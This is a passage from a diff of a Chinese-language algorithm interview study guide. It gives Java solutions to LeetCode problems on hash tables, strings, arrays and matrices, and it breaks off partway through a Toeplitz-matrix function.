+[594. Longest Harmonious Subsequence (Easy)](https://leetcode.com/problems/longest-harmonious-subsequence/description/)
 
 ```html
-Input: [1,3,2,2,5,2,3,7]
-Output: 5
-Explanation: The longest harmonious subsequence is [3,2,2,2,3].
+Input: [1,3,2,2,5,2,3,7]
+Output: 5
+Explanation: The longest harmonious subsequence is [3,2,2,2,3].
 ```
 
-和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
+和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
 
 ```java
-public int findLHS(int[] nums) {
-    Map<Integer, Integer> countForNum = new HashMap<>();
-    for (int num : nums) {
-        countForNum.put(num, countForNum.getOrDefault(num, 0) + 1);
-    }
-    int longest = 0;
-    for (int num : countForNum.keySet()) {
-        if (countForNum.containsKey(num + 1)) {
-            longest = Math.max(longest, countForNum.get(num + 1) + countForNum.get(num));
-        }
-    }
-    return longest;
+public int findLHS(int[] nums) {
+    Map<Integer, Integer> countForNum = new HashMap<>();
+    for (int num : nums) {
+        countForNum.put(num, countForNum.getOrDefault(num, 0) + 1);
+    }
+    int longest = 0;
+    for (int num : countForNum.keySet()) {
+        if (countForNum.containsKey(num + 1)) {
+            longest = Math.max(longest, countForNum.get(num + 1) + countForNum.get(num));
+        }
+    }
+    return longest;
 }
 ```
 
-**最长连续序列**
+**最长连续序列** 
 
-[128. Longest Consecutive Sequence (Hard)](https://leetcode.com/problems/longest-consecutive-sequence/description/)
+[128. Longest Consecutive Sequence (Hard)](https://leetcode.com/problems/longest-consecutive-sequence/description/)
 
 ```html
-Given [100, 4, 200, 1, 3, 2],
-The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4.
+Given [100, 4, 200, 1, 3, 2],
+The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4.
 ```
 
-要求以 O(N) 的时间复杂度求解。
+要求以 O(N) 的时间复杂度求解。
 
 ```java
-public int longestConsecutive(int[] nums) {
-    Map<Integer, Integer> countForNum = new HashMap<>();
-    for (int num : nums) {
-        countForNum.put(num, 1);
-    }
-    for (int num : nums) {
-        forward(countForNum, num);
-    }
-    return maxCount(countForNum);
+public int longestConsecutive(int[] nums) {
+    Map<Integer, Integer> countForNum = new HashMap<>();
+    for (int num : nums) {
+        countForNum.put(num, 1);
+    }
+    for (int num : nums) {
+        forward(countForNum, num);
+    }
+    return maxCount(countForNum);
 }
 
-private int forward(Map<Integer, Integer> countForNum, int num) {
-    if (!countForNum.containsKey(num)) {
-        return 0;
-    }
-    int cnt = countForNum.get(num);
-    if (cnt > 1) {
-        return cnt;
-    }
-    cnt = forward(countForNum, num + 1) + 1;
-    countForNum.put(num, cnt);
-    return cnt;
+private int forward(Map<Integer, Integer> countForNum, int num) {
+    if (!countForNum.containsKey(num)) {
+        return 0;
+    }
+    int cnt = countForNum.get(num);
+    if (cnt > 1) {
+        return cnt;
+    }
+    cnt = forward(countForNum, num + 1) + 1;
+    countForNum.put(num, cnt);
+    return cnt;
 }
 
-private int maxCount(Map<Integer, Integer> countForNum) {
-    int max = 0;
-    for (int num : countForNum.keySet()) {
-        max = Math.max(max, countForNum.get(num));
-    }
-    return max;
+private int maxCount(Map<Integer, Integer> countForNum) {
+    int max = 0;
+    for (int num : countForNum.keySet()) {
+        max = Math.max(max, countForNum.get(num));
+    }
+    return max;
 }
 ```
 
-## 字符串
+## 字符串
 
-**字符串循环移位包含**
+**字符串循环移位包含** 
 
-[编程之美 3.1](#)
+[编程之美 3.1](#)
 
 ```html
-s1 = AABCD, s2 = CDAA
-Return : true
+s1 = AABCD, s2 = CDAA
+Return : true
 ```
 
-给定两个字符串 s1 和 s2，要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。
+给定两个字符串 s1 和 s2，要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。
 
-s1 进行循环移位的结果是 s1s1 的子字符串，因此只要判断 s2 是否是 s1s1 的子字符串即可。
+s1 进行循环移位的结果是 s1s1 的子字符串，因此只要判断 s2 是否是 s1s1 的子字符串即可。
 
-**字符串循环移位**
+**字符串循环移位** 
 
-[编程之美 2.17](#)
+[编程之美 2.17](#)
 
 ```html
-s = "abcd123" k = 3
-Return "123abcd"
+s = "abcd123" k = 3
+Return "123abcd"
 ```
 
-将字符串向右循环移动 k 位。
+将字符串向右循环移动 k 位。
 
-将 abcd123 中的 abcd 和 123 单独翻转，得到 dcba321，然后对整个字符串进行翻转，得到 123abcd。
+将 abcd123 中的 abcd 和 123 单独翻转，得到 dcba321，然后对整个字符串进行翻转，得到 123abcd。
 
-**字符串中单词的翻转**
+**字符串中单词的翻转** 
 
 [程序员代码面试指南](#)
 
 ```html
-s = "I am a student"
-Return "student a am I"
+s = "I am a student"
+Return "student a am I"
 ```
 
 将每个单词翻转，然后将整个字符串翻转。
 
-**两个字符串包含的字符是否完全相同**
+**两个字符串包含的字符是否完全相同** 
 
-[242. Valid Anagram (Easy)](https://leetcode.com/problems/valid-anagram/description/)
+[242. Valid Anagram (Easy)](https://leetcode.com/problems/valid-anagram/description/)
 
 ```html
-s = "anagram", t = "nagaram", return true.
-s = "rat", t = "car", return false.
+s = "anagram", t = "nagaram", return true.
+s = "rat", t = "car", return false.
 ```
 
-可以用 HashMap 来映射字符与出现次数，然后比较两个字符串出现的字符数量是否相同。
+可以用 HashMap 来映射字符与出现次数，然后比较两个字符串出现的字符数量是否相同。
 
-由于本题的字符串只包含 26 个小写字符，因此可以使用长度为 26 的整型数组对字符串出现的字符进行统计，不再使用 HashMap。
+由于本题的字符串只包含 26 个小写字符，因此可以使用长度为 26 的整型数组对字符串出现的字符进行统计，不再使用 HashMap。
 
 ```java
-public boolean isAnagram(String s, String t) {
-    int[] cnts = new int[26];
-    for (char c : s.toCharArray()) {
-        cnts[c - 'a']++;
-    }
-    for (char c : t.toCharArray()) {
-        cnts[c - 'a']--;
-    }
-    for (int cnt : cnts) {
-        if (cnt != 0) {
-            return false;
-        }
-    }
-    return true;
+public boolean isAnagram(String s, String t) {
+    int[] cnts = new int[26];
+    for (char c : s.toCharArray()) {
+        cnts[c - 'a']++;
+    }
+    for (char c : t.toCharArray()) {
+        cnts[c - 'a']--;
+    }
+    for (int cnt : cnts) {
+        if (cnt != 0) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**计算一组字符集合可以组成的回文字符串的最大长度**
+**计算一组字符集合可以组成的回文字符串的最大长度** 
 
-[409. Longest Palindrome (Easy)](https://leetcode.com/problems/longest-palindrome/description/)
+[409. Longest Palindrome (Easy)](https://leetcode.com/problems/longest-palindrome/description/)
 
 ```html
-Input : "abccccdd"
-Output : 7
-Explanation : One longest palindrome that can be built is "dccaccd", whose length is 7.
+Input : "abccccdd"
+Output : 7
+Explanation : One longest palindrome that can be built is "dccaccd", whose length is 7.
 ```
 
-使用长度为 256 的整型数组来统计每个字符出现的个数，每个字符有偶数个可以用来构成回文字符串。
+使用长度为 256 的整型数组来统计每个字符出现的个数，每个字符有偶数个可以用来构成回文字符串。
 
 因为回文字符串最中间的那个字符可以单独出现，所以如果有单独的字符就把它放到最中间。
 
 ```java
-public int longestPalindrome(String s) {
-    int[] cnts = new int[256];
-    for (char c : s.toCharArray()) {
-        cnts[c]++;
-    }
-    int palindrome = 0;
-    for (int cnt : cnts) {
-        palindrome += (cnt / 2) * 2;
-    }
-    if (palindrome < s.length()) {
-        palindrome++;   // 这个条件下 s 中一定有单个未使用的字符存在，可以把这个字符放到回文的最中间
-    }
-    return palindrome;
+public int longestPalindrome(String s) {
+    int[] cnts = new int[256];
+    for (char c : s.toCharArray()) {
+        cnts[c]++;
+    }
+    int palindrome = 0;
+    for (int cnt : cnts) {
+        palindrome += (cnt / 2) * 2;
+    }
+    if (palindrome < s.length()) {
+        palindrome++;   // 这个条件下 s 中一定有单个未使用的字符存在，可以把这个字符放到回文的最中间
+    }
+    return palindrome;
 }
 ```
 
-**字符串同构**
+**字符串同构** 
 
-[205. Isomorphic Strings (Easy)](https://leetcode.com/problems/isomorphic-strings/description/)
+[205. Isomorphic Strings (Easy)](https://leetcode.com/problems/isomorphic-strings/description/)
 
 ```html
-Given "egg", "add", return true.
-Given "foo", "bar", return false.
-Given "paper", "title", return true.
+Given "egg", "add", return true.
+Given "foo", "bar", return false.
+Given "paper", "title", return true.
 ```
 
 记录一个字符上次出现的位置，如果两个字符串中的字符上次出现的位置一样，那么就属于同构。
 
 ```java
-public boolean isIsomorphic(String s, String t) {
-    int[] preIndexOfS = new int[256];
-    int[] preIndexOfT = new int[256];
-    for (int i = 0; i < s.length(); i++) {
-        char sc = s.charAt(i), tc = t.charAt(i);
-        if (preIndexOfS[sc] != preIndexOfT[tc]) {
-            return false;
-        }
-        preIndexOfS[sc] = i + 1;
-        preIndexOfT[tc] = i + 1;
-    }
-    return true;
+public boolean isIsomorphic(String s, String t) {
+    int[] preIndexOfS = new int[256];
+    int[] preIndexOfT = new int[256];
+    for (int i = 0; i < s.length(); i++) {
+        char sc = s.charAt(i), tc = t.charAt(i);
+        if (preIndexOfS[sc] != preIndexOfT[tc]) {
+            return false;
+        }
+        preIndexOfS[sc] = i + 1;
+        preIndexOfT[tc] = i + 1;
+    }
+    return true;
 }
 ```
 
-**回文子字符串个数**
+**回文子字符串个数** 
 
-[647. Palindromic Substrings (Medium)](https://leetcode.com/problems/palindromic-substrings/description/)
+[647. Palindromic Substrings (Medium)](https://leetcode.com/problems/palindromic-substrings/description/)
 
 ```html
-Input: "aaa"
-Output: 6
-Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa".
+Input: "aaa"
+Output: 6
+Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa".
 ```
 
 从字符串的某一位开始，尝试着去扩展子字符串。
 
 ```java
-private int cnt = 0;
+private int cnt = 0;
 
-public int countSubstrings(String s) {
-    for (int i = 0; i < s.length(); i++) {
-        extendSubstrings(s, i, i);     // 奇数长度
-        extendSubstrings(s, i, i + 1); // 偶数长度
-    }
-    return cnt;
+public int countSubstrings(String s) {
+    for (int i = 0; i < s.length(); i++) {
+        extendSubstrings(s, i, i);     // 奇数长度
+        extendSubstrings(s, i, i + 1); // 偶数长度
+    }
+    return cnt;
 }
 
-private void extendSubstrings(String s, int start, int end) {
-    while (start >= 0 && end < s.length() && s.charAt(start) == s.charAt(end)) {
-        start--;
-        end++;
-        cnt++;
-    }
+private void extendSubstrings(String s, int start, int end) {
+    while (start >= 0 && end < s.length() && s.charAt(start) == s.charAt(end)) {
+        start--;
+        end++;
+        cnt++;
+    }
 }
 ```
 
-**判断一个整数是否是回文数**
+**判断一个整数是否是回文数** 
 
-[9. Palindrome Number (Easy)](https://leetcode.com/problems/palindrome-number/description/)
+[9. Palindrome Number (Easy)](https://leetcode.com/problems/palindrome-number/description/)
 
 要求不能使用额外空间，也就不能将整数转换为字符串进行判断。
 
 将整数分成左右两部分，右边那部分需要转置，然后判断这两部分是否相等。
 
 ```java
-public boolean isPalindrome(int x) {
-    if (x == 0) {
-        return true;
-    }
-    if (x < 0 || x % 10 == 0) {
-        return false;
-    }
-    int right = 0;
-    while (x > right) {
-        right = right * 10 + x % 10;
-        x /= 10;
-    }
-    return x == right || x == right / 10;
+public boolean isPalindrome(int x) {
+    if (x == 0) {
+        return true;
+    }
+    if (x < 0 || x % 10 == 0) {
+        return false;
+    }
+    int right = 0;
+    while (x > right) {
+        right = right * 10 + x % 10;
+        x /= 10;
+    }
+    return x == right || x == right / 10;
 }
 ```
 
-**统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数**
+**统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数** 
 
-[696. Count Binary Substrings (Easy)](https://leetcode.com/problems/count-binary-substrings/description/)
+[696. Count Binary Substrings (Easy)](https://leetcode.com/problems/count-binary-substrings/description/)
 
 ```html
-Input: "00110011"
-Output: 6
-Explanation: There are 6 substrings that have equal number of consecutive 1's and 0's: "0011", "01", "1100", "10", "0011", and "01".
+Input: "00110011"
+Output: 6
+Explanation: There are 6 substrings that have equal number of consecutive 1's and 0's: "0011", "01", "1100", "10", "0011", and "01".
 ```
 
 ```java
-public int countBinarySubstrings(String s) {
-    int preLen = 0, curLen = 1, count = 0;
-    for (int i = 1; i < s.length(); i++) {
-        if (s.charAt(i) == s.charAt(i - 1)) {
-            curLen++;
-        } else {
-            preLen = curLen;
-            curLen = 1;
-        }
+public int countBinarySubstrings(String s) {
+    int preLen = 0, curLen = 1, count = 0;
+    for (int i = 1; i < s.length(); i++) {
+        if (s.charAt(i) == s.charAt(i - 1)) {
+            curLen++;
+        } else {
+            preLen = curLen;
+            curLen = 1;
+        }
 
-        if (preLen >= curLen) {
-            count++;
-        }
-    }
-    return count;
+        if (preLen >= curLen) {
+            count++;
+        }
+    }
+    return count;
 }
 ```
 
-## 数组与矩阵
+## 数组与矩阵
 
-**把数组中的 0 移到末尾**
+**把数组中的 0 移到末尾** 
 
-[283. Move Zeroes (Easy)](https://leetcode.com/problems/move-zeroes/description/)
+[283. Move Zeroes (Easy)](https://leetcode.com/problems/move-zeroes/description/)
 
 ```html
-For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].
+For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].
 ```
 
 ```java
-public void moveZeroes(int[] nums) {
-    int idx = 0;
-    for (int num : nums) {
-        if (num != 0) {
-            nums[idx++] = num;
-        }
-    }
-    while (idx < nums.length) {
-        nums[idx++] = 0;
-    }
+public void moveZeroes(int[] nums) {
+    int idx = 0;
+    for (int num : nums) {
+        if (num != 0) {
+            nums[idx++] = num;
+        }
+    }
+    while (idx < nums.length) {
+        nums[idx++] = 0;
+    }
 }
 ```
 
-**改变矩阵维度**
+**改变矩阵维度** 
 
-[566. Reshape the Matrix (Easy)](https://leetcode.com/problems/reshape-the-matrix/description/)
+[566. Reshape the Matrix (Easy)](https://leetcode.com/problems/reshape-the-matrix/description/)
 
 ```html
 Input:
-nums =
+nums =
 [[1,2],
- [3,4]]
-r = 1, c = 4
+ [3,4]]
+r = 1, c = 4
 
 Output:
 [[1,2,3,4]]
 
 Explanation:
-The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list.
+The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list.
 ```
 
 ```java
-public int[][] matrixReshape(int[][] nums, int r, int c) {
-    int m = nums.length, n = nums[0].length;
-    if (m * n != r * c) {
-        return nums;
-    }
-    int[][] reshapedNums = new int[r][c];
-    int index = 0;
-    for (int i = 0; i < r; i++) {
-        for (int j = 0; j < c; j++) {
-            reshapedNums[i][j] = nums[index / n][index % n];
-            index++;
-        }
-    }
-    return reshapedNums;
+public int[][] matrixReshape(int[][] nums, int r, int c) {
+    int m = nums.length, n = nums[0].length;
+    if (m * n != r * c) {
+        return nums;
+    }
+    int[][] reshapedNums = new int[r][c];
+    int index = 0;
+    for (int i = 0; i < r; i++) {
+        for (int j = 0; j < c; j++) {
+            reshapedNums[i][j] = nums[index / n][index % n];
+            index++;
+        }
+    }
+    return reshapedNums;
 }
 ```
 
-**找出数组中最长的连续 1**
+**找出数组中最长的连续 1** 
 
-[485. Max Consecutive Ones (Easy)](https://leetcode.com/problems/max-consecutive-ones/description/)
+[485. Max Consecutive Ones (Easy)](https://leetcode.com/problems/max-consecutive-ones/description/)
 
 ```java
-public int findMaxConsecutiveOnes(int[] nums) {
-    int max = 0, cur = 0;
-    for (int x : nums) {
-        cur = x == 0 ? 0 : cur + 1;
-        max = Math.max(max, cur);
-    }
-    return max;
+public int findMaxConsecutiveOnes(int[] nums) {
+    int max = 0, cur = 0;
+    for (int x : nums) {
+        cur = x == 0 ? 0 : cur + 1;
+        max = Math.max(max, cur);
+    }
+    return max;
 }
 ```
 
-**有序矩阵查找**
+**有序矩阵查找** 
 
-[240. Search a 2D Matrix II (Medium)](https://leetcode.com/problems/search-a-2d-matrix-ii/description/)
+[240. Search a 2D Matrix II (Medium)](https://leetcode.com/problems/search-a-2d-matrix-ii/description/)
 
 ```html
 [
-   [ 1,  5,  9],
-   [10, 11, 13],
-   [12, 13, 15]
+   [ 1,  5,  9],
+   [10, 11, 13],
+   [12, 13, 15]
 ]
 ```
 
 ```java
-public boolean searchMatrix(int[][] matrix, int target) {
-    if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false;
-    int m = matrix.length, n = matrix[0].length;
-    int row = 0, col = n - 1;
-    while (row < m && col >= 0) {
-        if (target == matrix[row][col]) return true;
-        else if (target < matrix[row][col]) col--;
-        else row++;
-    }
-    return false;
+public boolean searchMatrix(int[][] matrix, int target) {
+    if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false;
+    int m = matrix.length, n = matrix[0].length;
+    int row = 0, col = n - 1;
+    while (row < m && col >= 0) {
+        if (target == matrix[row][col]) return true;
+        else if (target < matrix[row][col]) col--;
+        else row++;
+    }
+    return false;
 }
 ```
 
-**有序矩阵的 Kth Element**
+**有序矩阵的 Kth Element** 
 
-[378. Kth Smallest Element in a Sorted Matrix ((Medium))](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/)
+[378. Kth Smallest Element in a Sorted Matrix ((Medium))](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/)
 
 ```html
-matrix = [
-  [ 1,  5,  9],
-  [10, 11, 13],
-  [12, 13, 15]
+matrix = [
+  [ 1,  5,  9],
+  [10, 11, 13],
+  [12, 13, 15]
 ],
-k = 8,
+k = 8,
 
-return 13.
+return 13.
 ```
 
-解题参考：[Share my thoughts and Clean Java Code](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/85173)
+解题参考：[Share my thoughts and Clean Java Code](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/85173)
 
 二分查找解法：
 
 ```java
-public int kthSmallest(int[][] matrix, int k) {
-    int m = matrix.length, n = matrix[0].length;
-    int lo = matrix[0][0], hi = matrix[m - 1][n - 1];
-    while (lo <= hi) {
-        int mid = lo + (hi - lo) / 2;
-        int cnt = 0;
-        for (int i = 0; i < m; i++) {
-            for (int j = 0; j < n && matrix[i][j] <= mid; j++) {
-                cnt++;
-            }
-        }
-        if (cnt < k) lo = mid + 1;
-        else hi = mid - 1;
-    }
-    return lo;
+public int kthSmallest(int[][] matrix, int k) {
+    int m = matrix.length, n = matrix[0].length;
+    int lo = matrix[0][0], hi = matrix[m - 1][n - 1];
+    while (lo <= hi) {
+        int mid = lo + (hi - lo) / 2;
+        int cnt = 0;
+        for (int i = 0; i < m; i++) {
+            for (int j = 0; j < n && matrix[i][j] <= mid; j++) {
+                cnt++;
+            }
+        }
+        if (cnt < k) lo = mid + 1;
+        else hi = mid - 1;
+    }
+    return lo;
 }
 ```
 
 堆解法：
 
 ```java
-public int kthSmallest(int[][] matrix, int k) {
-    int m = matrix.length, n = matrix[0].length;
-    PriorityQueue<Tuple> pq = new PriorityQueue<Tuple>();
-    for(int j = 0; j < n; j++) pq.offer(new Tuple(0, j, matrix[0][j]));
-    for(int i = 0; i < k - 1; i++) { // 小根堆，去掉 k - 1 个堆顶元素，此时堆顶元素就是第 k 的数
-        Tuple t = pq.poll();
-        if(t.x == m - 1) continue;
-        pq.offer(new Tuple(t.x + 1, t.y, matrix[t.x + 1][t.y]));
-    }
-    return pq.poll().val;
+public int kthSmallest(int[][] matrix, int k) {
+    int m = matrix.length, n = matrix[0].length;
+    PriorityQueue<Tuple> pq = new PriorityQueue<Tuple>();
+    for(int j = 0; j < n; j++) pq.offer(new Tuple(0, j, matrix[0][j]));
+    for(int i = 0; i < k - 1; i++) { // 小根堆，去掉 k - 1 个堆顶元素，此时堆顶元素就是第 k 的数
+        Tuple t = pq.poll();
+        if(t.x == m - 1) continue;
+        pq.offer(new Tuple(t.x + 1, t.y, matrix[t.x + 1][t.y]));
+    }
+    return pq.poll().val;
 }
 
-class Tuple implements Comparable<Tuple> {
-    int x, y, val;
-    public Tuple(int x, int y, int val) {
-        this.x = x; this.y = y; this.val = val;
-    }
+class Tuple implements Comparable<Tuple> {
+    int x, y, val;
+    public Tuple(int x, int y, int val) {
+        this.x = x; this.y = y; this.val = val;
+    }
 
-    @Override
-    public int compareTo(Tuple that) {
-        return this.val - that.val;
-    }
+    @Override
+    public int compareTo(Tuple that) {
+        return this.val - that.val;
+    }
 }
 ```
 
-**一个数组元素在 [1, n] 之间，其中一个数被替换为另一个数，找出重复的数和丢失的数**
+**一个数组元素在 [1, n] 之间，其中一个数被替换为另一个数，找出重复的数和丢失的数** 
 
-[645. Set Mismatch (Easy)](https://leetcode.com/problems/set-mismatch/description/)
+[645. Set Mismatch (Easy)](https://leetcode.com/problems/set-mismatch/description/)
 
 ```html
-Input: nums = [1,2,2,4]
-Output: [2,3]
+Input: nums = [1,2,2,4]
+Output: [2,3]
 ```
 
 ```html
-Input: nums = [1,2,2,4]
-Output: [2,3]
+Input: nums = [1,2,2,4]
+Output: [2,3]
 ```
 
-最直接的方法是先对数组进行排序，这种方法时间复杂度为 O(NlogN)。本题可以以 O(N) 的时间复杂度、O(1) 空间复杂度来求解。
+最直接的方法是先对数组进行排序，这种方法时间复杂度为 O(NlogN)。本题可以以 O(N) 的时间复杂度、O(1) 空间复杂度来求解。
 
 主要思想是通过交换数组元素，使得数组上的元素在正确的位置上。
 
 ```java
-public int[] findErrorNums(int[] nums) {
-    for (int i = 0; i < nums.length; i++) {
-        while (nums[i] != i + 1 && nums[nums[i] - 1] != nums[i]) {
-            swap(nums, i, nums[i] - 1);
-        }
-    }
-    for (int i = 0; i < nums.length; i++) {
-        if (nums[i] != i + 1) {
-            return new int[]{nums[i], i + 1};
-        }
-    }
-    return null;
+public int[] findErrorNums(int[] nums) {
+    for (int i = 0; i < nums.length; i++) {
+        while (nums[i] != i + 1 && nums[nums[i] - 1] != nums[i]) {
+            swap(nums, i, nums[i] - 1);
+        }
+    }
+    for (int i = 0; i < nums.length; i++) {
+        if (nums[i] != i + 1) {
+            return new int[]{nums[i], i + 1};
+        }
+    }
+    return null;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int tmp = nums[i];
-    nums[i] = nums[j];
-    nums[j] = tmp;
+private void swap(int[] nums, int i, int j) {
+    int tmp = nums[i];
+    nums[i] = nums[j];
+    nums[j] = tmp;
 }
 ```
 
 类似题目：
 
-- [448. Find All Numbers Disappeared in an Array (Easy)](https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/description/)，寻找所有丢失的元素
-- [442. Find All Duplicates in an Array (Medium)](https://leetcode.com/problems/find-all-duplicates-in-an-array/description/)，寻找所有重复的元素。
+- [448. Find All Numbers Disappeared in an Array (Easy)](https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/description/)，寻找所有丢失的元素
+- [442. Find All Duplicates in an Array (Medium)](https://leetcode.com/problems/find-all-duplicates-in-an-array/description/)，寻找所有重复的元素。
 
-**找出数组中重复的数，数组值在 [1, n] 之间**
+**找出数组中重复的数，数组值在 [1, n] 之间** 
 
-[287. Find the Duplicate Number (Medium)](https://leetcode.com/problems/find-the-duplicate-number/description/)
+[287. Find the Duplicate Number (Medium)](https://leetcode.com/problems/find-the-duplicate-number/description/)
 
 要求不能修改数组，也不能使用额外的空间。
 
 二分查找解法：
 
 ```java
-public int findDuplicate(int[] nums) {
-     int l = 1, h = nums.length - 1;
-     while (l <= h) {
-         int mid = l + (h - l) / 2;
-         int cnt = 0;
-         for (int i = 0; i < nums.length; i++) {
-             if (nums[i] <= mid) cnt++;
-         }
-         if (cnt > mid) h = mid - 1;
-         else l = mid + 1;
-     }
-     return l;
+public int findDuplicate(int[] nums) {
+     int l = 1, h = nums.length - 1;
+     while (l <= h) {
+         int mid = l + (h - l) / 2;
+         int cnt = 0;
+         for (int i = 0; i < nums.length; i++) {
+             if (nums[i] <= mid) cnt++;
+         }
+         if (cnt > mid) h = mid - 1;
+         else l = mid + 1;
+     }
+     return l;
 }
 ```
 
 双指针解法，类似于有环链表中找出环的入口：
 
 ```java
-public int findDuplicate(int[] nums) {
-    int slow = nums[0], fast = nums[nums[0]];
-    while (slow != fast) {
-        slow = nums[slow];
-        fast = nums[nums[fast]];
-    }
-    fast = 0;
-    while (slow != fast) {
-        slow = nums[slow];
-        fast = nums[fast];
-    }
-    return slow;
+public int findDuplicate(int[] nums) {
+    int slow = nums[0], fast = nums[nums[0]];
+    while (slow != fast) {
+        slow = nums[slow];
+        fast = nums[nums[fast]];
+    }
+    fast = 0;
+    while (slow != fast) {
+        slow = nums[slow];
+        fast = nums[fast];
+    }
+    return slow;
 }
 ```
 
-**数组相邻差值的个数**
+**数组相邻差值的个数** 
 
-[667. Beautiful Arrangement II (Medium)](https://leetcode.com/problems/beautiful-arrangement-ii/description/)
+[667. Beautiful Arrangement II (Medium)](https://leetcode.com/problems/beautiful-arrangement-ii/description/)
 
 ```html
-Input: n = 3, k = 2
-Output: [1, 3, 2]
-Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2.
+Input: n = 3, k = 2
+Output: [1, 3, 2]
+Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2.
 ```
 
-题目描述：数组元素为 1~n 的整数，要求构建数组，使得相邻元素的差值不相同的个数为 k。
+题目描述：数组元素为 1\~n 的整数，要求构建数组，使得相邻元素的差值不相同的个数为 k。
 
-让前 k+1 个元素构建出 k 个不相同的差值，序列为：1 k+1 2 k 3 k-1 ... k/2 k/2+1.
+让前 k+1 个元素构建出 k 个不相同的差值，序列为：1 k+1 2 k 3 k-1 ... k/2 k/2+1.
 
 ```java
-public int[] constructArray(int n, int k) {
-    int[] ret = new int[n];
-    ret[0] = 1;
-    for (int i = 1, interval = k; i <= k; i++, interval--) {
-        ret[i] = i % 2 == 1 ? ret[i - 1] + interval : ret[i - 1] - interval;
-    }
-    for (int i = k + 1; i < n; i++) {
-        ret[i] = i + 1;
-    }
-    return ret;
+public int[] constructArray(int n, int k) {
+    int[] ret = new int[n];
+    ret[0] = 1;
+    for (int i = 1, interval = k; i <= k; i++, interval--) {
+        ret[i] = i % 2 == 1 ? ret[i - 1] + interval : ret[i - 1] - interval;
+    }
+    for (int i = k + 1; i < n; i++) {
+        ret[i] = i + 1;
+    }
+    return ret;
 }
 ```
 
-**数组的度**
+**数组的度** 
 
-[697. Degree of an Array (Easy)](https://leetcode.com/problems/degree-of-an-array/description/)
+[697. Degree of an Array (Easy)](https://leetcode.com/problems/degree-of-an-array/description/)
 
 ```html
-Input: [1,2,2,3,1,4,2]
-Output: 6
+Input: [1,2,2,3,1,4,2]
+Output: 6
 ```
 
-题目描述：数组的度定义为元素出现的最高频率，例如上面的数组度为 3。要求找到一个最小的子数组，这个子数组的度和原数组一样。
+题目描述：数组的度定义为元素出现的最高频率，例如上面的数组度为 3。要求找到一个最小的子数组，这个子数组的度和原数组一样。
 
 ```java
-public int findShortestSubArray(int[] nums) {
-    Map<Integer, Integer> numsCnt = new HashMap<>();
-    Map<Integer, Integer> numsLastIndex = new HashMap<>();
-    Map<Integer, Integer> numsFirstIndex = new HashMap<>();
-    for (int i = 0; i < nums.length; i++) {
-        int num = nums[i];
-        numsCnt.put(num, numsCnt.getOrDefault(num, 0) + 1);
-        numsLastIndex.put(num, i);
-        if (!numsFirstIndex.containsKey(num)) {
-            numsFirstIndex.put(num, i);
-        }
-    }
-    int maxCnt = 0;
-    for (int num : nums) {
-        maxCnt = Math.max(maxCnt, numsCnt.get(num));
-    }
-    int ret = nums.length;
-    for (int i = 0; i < nums.length; i++) {
-        int num = nums[i];
-        int cnt = numsCnt.get(num);
-        if (cnt != maxCnt) continue;
-        ret = Math.min(ret, numsLastIndex.get(num) - numsFirstIndex.get(num) + 1);
-    }
-    return ret;
+public int findShortestSubArray(int[] nums) {
+    Map<Integer, Integer> numsCnt = new HashMap<>();
+    Map<Integer, Integer> numsLastIndex = new HashMap<>();
+    Map<Integer, Integer> numsFirstIndex = new HashMap<>();
+    for (int i = 0; i < nums.length; i++) {
+        int num = nums[i];
+        numsCnt.put(num, numsCnt.getOrDefault(num, 0) + 1);
+        numsLastIndex.put(num, i);
+        if (!numsFirstIndex.containsKey(num)) {
+            numsFirstIndex.put(num, i);
+        }
+    }
+    int maxCnt = 0;
+    for (int num : nums) {
+        maxCnt = Math.max(maxCnt, numsCnt.get(num));
+    }
+    int ret = nums.length;
+    for (int i = 0; i < nums.length; i++) {
+        int num = nums[i];
+        int cnt = numsCnt.get(num);
+        if (cnt != maxCnt) continue;
+        ret = Math.min(ret, numsLastIndex.get(num) - numsFirstIndex.get(num) + 1);
+    }
+    return ret;
 }
 ```
 
-**对角元素相等的矩阵**
+**对角元素相等的矩阵** 
 
-[766. Toeplitz Matrix (Easy)](https://leetcode.com/problems/toeplitz-matrix/description/)
+[766. Toeplitz Matrix (Easy)](https://leetcode.com/problems/toeplitz-matrix/description/)
 
 ```html
 1234
 5123
 9512
 
-In the above grid, the diagonals are "[9]", "[5, 5]", "[1, 1, 1]", "[2, 2, 2]", "[3, 3]", "[4]", and in each diagonal all elements are the same, so the answer is True.
+In the above grid, the diagonals are "[9]", "[5, 5]", "[1, 1, 1]", "[2, 2, 2]", "[3, 3]", "[4]", and in each diagonal all elements are the same, so the answer is True.
 ```
 
 ```java
-public boolean isToeplitzMatrix(int[][] matrix) {
-    for (int i = 0; i < matrix[0].length; i++) {
-        if (!check(matrix, matrix[0][i], 0, i)) {
-            return false;
-        }
-    }
-    for (int i = 0; i < matrix.length; i++) {
